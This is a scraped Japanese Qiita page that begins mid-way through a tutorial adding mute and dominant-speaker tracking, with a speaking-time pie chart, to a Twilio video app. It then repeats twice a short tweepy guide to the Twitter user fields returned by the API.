joinLeaveButton.disabled = false; + document.getElementById("toggle_audio").disabled = false; + document.getElementById("display_speak_rate_button").disabled = false; }) ... 省略... }; const disconnect = () => { ... 省略 ... document.getElementById("join_leave").setAttribute("innerHTML", "Join call"); + document .getElementById("toggle_audio") .setAttribute("innerHTML", "Mute Audio"); connected = false; + document.getElementById("toggle_audio").disabled = true; + document.getElementById("display_speak_rate_button").disabled = true; updateParticipantCount(); }; +const toggleAudioHandler = (event) => { + event.preventDefault(); + room.localParticipant.audioTracks.forEach((publication) => { + if (publication.track.isEnabled) { + publication.track.disable(); + document.getElementById("toggle_audio").innerHTML = "Unmute Audio"; + } else { + publication.track.enable(); + document.getElementById("toggle_audio").innerHTML = "Mute Audio"; + } + }); +}; +document.getElementById("toggle_audio").addEventListener("click", toggleAudioHandler); これで通話中に自由にミュートできるようになったはずです. 3. 話者の変更を検知する 話している人が変わったことを検知するにはTwilioのDominant Speaker Detection APIを使用します.なお,この機能は2人以上のグループルームでないと有効になりません. static/app.js const connect = (username) => ... 省略 ... -.then((data) => { - return Twilio.Video.connect(data.token); -}) +return Twilio.Video.connect(data.token, { + dominantSpeaker: true, + }); ... 省略... }); サーバー側で参加者と発言時間を保持します.発言者が変わったことを検知しているので,そのタイミングで1つ前の参加者の発言時間を計算・追加する形です. app.py +from datetime import date, datetime, timedelta +speakMap = dict() +lastDominantSpeakerChanged = None +lastSpeaker = None @app.route('/') def index(): return render_template('index.html') +@app.route('/speaks', methods=['POST']) +def saveSpeak(): + global lastDominantSpeakerChanged + global lastSpeaker + username = request.get_json(force=True).get('username') + if not username: + abort(400) + # lastSpeakerがいない = 初めての発言者なので,登録だけして終わる + if not lastSpeaker: + lastSpeaker = username + lastDominantSpeakerChanged = datetime.now() + return {'status': 'ok'} + + now = datetime.now() + duration = now - lastDominantSpeakerChanged + print(duration) + + if lastSpeaker in speakMap: + speakMap[lastSpeaker] += duration + else: + speakMap[lastSpeaker] = duration + lastDominantSpeakerChanged = now + lastSpeaker = username + return {'status': 'ok'} dominantSpeakerChangedイベントを検知して,POST /speaksへ次の発言者名を送信します. static/app.js const connect = (username) => ... 省略 ... .then((_room) => { room = _room; room.participants.forEach(participantConnected); room.on("participantConnected", participantConnected); room.on("participantDisconnected", participantDisconnected); + room.on("dominantSpeakerChanged", (participant) => + dominantSpeaker(participant) + ); connected = true; ... 省略... }); +const dominantSpeaker = (participant) => { + fetch("/speaks", { + method: "POST", + body: JSON.stringify({ + username: participant.identity, + }), + }).catch((err) => { + console.log(err); + reject(); + }); +}; 4. 発言率を表示します. やっと最後です.display_speak_rate_buttonを押すと発言率を表す円グラフを表示します.グラフ表示にはChart.jsを用います. app.py +from flask.json import JSONEncoder +# timedeltaをJSONで出力できるようにする +class CustomJSONEncoder(JSONEncoder): + def default(self, obj): + try: + if isinstance(obj, + timedelta): + return obj.seconds + iterable = iter(obj) + except TypeError: + pass + else: + return list(iterable) + return JSONEncoder.default(self, obj) +app = Flask(__name__) +app.json_encoder = CustomJSONEncoder speakMap = dict() lastDominantSpeakerChanged = None lastSpeaker = None +@app.route('/speaks', methods=['GET']) +def getSpeaks(): + return {'speaks': speakMap} templates/index.html + <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/3.6.0/chart.min.js" + integrity="sha512-GMGzUEevhWh8Tc/njS0bDpwgxdCJLQBWG3Z2Ct+JGOpVnEmjvNx6ts4v6A2XJf1HOrtOsfhv3hBKpK9kE5z8AQ==" + crossorigin="anonymous" referrerpolicy="no-referrer"></script> static/app.js +const displaySpeakRateHandler = (event) => { + event.preventDefault(); + fetch("/speaks") + .then((res) => res.json()) + .then((data) => { + console.log(data.speaks); + + const ctx = document + .getElementById("display_speak_rate") + .getContext("2d"); + const myChart = new Chart(ctx, { + type: "pie", + data: { + labels: Object.keys(data.speaks), + datasets: [ + { + label: "発言時間(s)", + data: Object.values(data.speaks), + backgroundColor: [ + "rgba(255, 99, 132, 0.2)", + "rgba(54, 162, 235, 0.2)", + "rgba(255, 206, 86, 0.2)", + "rgba(75, 192, 192, 0.2)", + "rgba(153, 102, 255, 0.2)", + "rgba(255, 159, 64, 0.2)", + ], + borderColor: [ + "rgba(255,99,132,1)", + "rgba(54, 162, 235, 1)", + "rgba(255, 206, 86, 1)", + "rgba(75, 192, 192, 1)", + "rgba(153, 102, 255, 1)", + "rgba(255, 159, 64, 1)", + ], + }, + ], + }, + }); + }) + .catch((err) => { + console.log(err); + }); +}; +document.getElementById("display_speak_rate_button").addEventListener("click", displaySpeakRateHandler); ここまで実装すれば2つのタブでlocalhost:5000を開き,ルームに入った後は交互にmuteして適当に何か喋ります.そして「Display Speak Rate」ボタンを押せば以下のように円グラフが表示されるはずです. 最後に Twilioを用いることでビデオ通話機能や発言者の検出などをとても簡単に実装できました. 参考
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Twitter APIで取得したユーザーのデータを表示する関数

Pythonでtweepyを使い、Twitter API接続してユーザー情報を取得する際の関数の一覧を紹介します。 Twitter APIで取得できる情報 よく使いそうなやつをピックアップします。 user.py import tweepy apiKey = 'API Keyを入力してください' apiSerect = 'API Serectを入力してください' accessToken = 'Access Token を入力してください' tokenSerect = 'Token Serectを入力してください' auth = tweepy.OAuthHandler(apiKey, apiSerect) auth.set_access_token(accessToken, tokenSerect) api = tweepy.API(auth) information = key.api.user_timeline(screen_name='YusukeGoto_')[0] print(information.text) informationの中にユーザー情報が入っていると想定して紹介します。 どうやらinformationなど自分で決めるのではなくstatusが使われていることが多いですね... 関数名 内容 例 information.text ツイート内容 千条の滝#箱根 #小涌谷 #千条の滝#THETA #THETA360 #VRカメラ #360camera #360photo #360view #ricohtheta #littleplanet #photo360… https://t.co/i9DZkVdrWo information.user.name 表示される名前 YusukeGoto information.user.screen_name ID YusukeGoto_ information.user.location プロフィールに設定している位置 Japan information.user.description プロフィールに設定している自己紹介文 I'm taking VR photos and videos of nature #VR #VRカメラ information.user.followers_count フォロワー数 779 information.user.friends_count フォロー数 120 information.user.listed_count リストの数 0 information.user.created_at Twitterを始めた日 2012-11-24 02:03:31+00:00 information.user.statuses_count ツイート数 1167
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Python】Twitter APIで取得したユーザーのデータを表示する関数

Pythonでtweepyを使い、Twitter API接続してユーザー情報を取得する際の関数の一覧を紹介します。 Twitter APIで取得できる情報 よく使いそうなやつをピックアップします。 user.py import tweepy apiKey = 'API Keyを入力してください' apiSerect = 'API Serectを入力してください' accessToken = 'Access Token を入力してください' tokenSerect = 'Token Serectを入力してください' auth = tweepy.OAuthHandler(apiKey, apiSerect) auth.set_access_token(accessToken, tokenSerect) api = tweepy.API(auth) information = key.api.user_timeline(screen_name='YusukeGoto_')[0] print(information.text) informationの中にユーザー情報が入っていると想定して紹介します。 どうやらinformationなど自分で決めるのではなくstatusが使われていることが多いですね... 関数名 内容 例 information.text ツイート内容 千条の滝#箱根 #小涌谷 #千条の滝#THETA #THETA360 #VRカメラ #360camera #360photo #360view #ricohtheta #littleplanet #photo360… https://t.co/i9DZkVdrWo information.user.name 表示される名前 YusukeGoto information.user.screen_name ID YusukeGoto_ information.user.location プロフィールに設定している位置 Japan information.user.description プロフィールに設定している自己紹介文 I'm taking VR photos and videos of nature #VR #VRカメラ information.user.followers_count フォロワー数 779 information.user.friends_count フォロー数 120 information.user.listed_count リストの数 0 information.user.created_at Twitterを始めた日 2012-11-24 02:03:31+00:00 information.user.statuses_count ツイート数 1167 information.lang 言語 ja information.user.protected アカウントに鍵がかかっているか TrueもしくはFalse フォロワー数やフォロー数は数値型で、Twitterを始めた日などは日付の型なので、printする際はstr()で型変換しましょう user.py print(str(information.user.followers_count))
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む